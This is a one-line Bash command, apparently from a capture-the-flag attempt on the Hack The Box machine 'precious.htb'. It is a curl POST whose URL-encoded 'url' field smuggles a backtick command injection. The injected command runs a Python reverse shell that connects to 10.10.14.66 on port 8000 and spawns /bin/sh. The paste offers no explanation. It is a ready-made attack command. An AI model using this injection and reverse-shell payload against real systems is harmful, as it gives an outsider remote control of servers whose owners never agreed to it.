1 line
767 B
Bash
1 line
767 B
Bash
curl 'http://precious.htb/' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://precious.htb' -H 'Connection: keep-alive' -H 'Referer: http://precious.htb/' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.14.66%3A8000%3Fname%3D%2520%60python3+-c+%27import+socket%2Cos%2Cpty%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28%2210.10.14.66%22%2C+8000%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cfd%29+for+fd+in+%280%2C1%2C2%29%5D%3Bpty.spawn%28%22%2Fbin%2Fsh%22%29%27%60'
|